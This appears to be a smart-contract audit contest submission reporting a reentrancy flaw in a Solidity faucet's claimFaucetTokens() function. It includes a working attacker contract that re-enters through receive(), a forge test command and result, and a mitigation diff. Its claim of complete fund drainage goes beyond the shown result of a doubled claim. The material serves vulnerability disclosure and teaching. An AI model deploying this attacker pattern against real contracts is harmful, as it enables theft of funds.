Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens() allows complete bypass of cooldown and fund drainage

Root + Impact

Description

  • Normal behavior:

    The claimFaucetTokens() function should allow users to claim tokens once every 3 days, with state variables (lastClaimTime, dailyClaimCount) updated immediately to prevent

  • Specific issue:

    External ETH transfer occurs at line 198 before critical state updates at lines 227-228, allowing attackers to re-enter and bypass all cooldown and limit protections.

Root cause in the codebase:

function claimFaucetTokens() public {
// ... checks ...
// @> VULNERABILITY: External call before state updates
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// @> STATE UPDATES TOO LATE
lastClaimTime[faucetClaimer] = block.timestamp; // Line 227
dailyClaimCount++; // Line 228
_transfer(address(this), faucetClaimer, faucetDrip);
}

Risk

Likelihood:

  • Reason 1: Any user can call claimFaucetTokens() without special permissions, making the attack surface completely public and unrestricted.

  • Reason 2: The exploit requires only a simple malicious contract with a receive() fallback function, making it trivial for any attacker to execute.

  • Reason 3: The vulnerability is triggered on every first-time ETH claim, occurring naturally in normal faucet operations.

Impact:

  • Impact 1: Complete fund drainage - Attacker can steal all faucet tokens and ETH in a single transaction by re-entering before lastClaimTime is updated.

  • Impact 2: Cooldown mechanism bypass - The 3-day cooldown becomes completely ineffective as attackers can claim multiple times before the timestamp is recorded.

  • Impact 3: Daily limit bypass - dailyClaimCount is incremented after the attack completes, allowing attackers to exceed the daily claim limit.

  • Impact 4: Denial of Service - Once funds are drained, legitimate users cannot claim tokens, breaking core faucet functionality.

Proof of Concept

// Malicious contract
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (attackCount < 3 && address(faucet).balance >= 0.005 ether) {
attackCount++;
faucet.claimFaucetTokens(); // Re-enter!
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}

Test:

forge test --match-contract PoC_ReentrancyTest -vv

Result: Attacker obtained 2000 tokens instead of expected 1000 (2x claims in single transaction).

Recommended Mitigation

Apply Checks-Effects-Interactions pattern by moving state updates before external calls.

Why this fixes it: Updating lastClaimTime and dailyClaimCount before the external call ensures that any re-entry attempt will fail the cooldown check, preventing multiple claims.

Implementation: (Alternative (additional layer): Add OpenZeppelin's ReentrancyGuard modifier to the function.)

function claimFaucetTokens() public {
// ... checks ...
+ // Update state FIRST (Effects)
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Handle ETH drip
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... daily reset logic ...
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // External call LAST (Interactions)
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
require(success, "ETH transfer failed");
}
- // Remove (already done above)
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 13 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.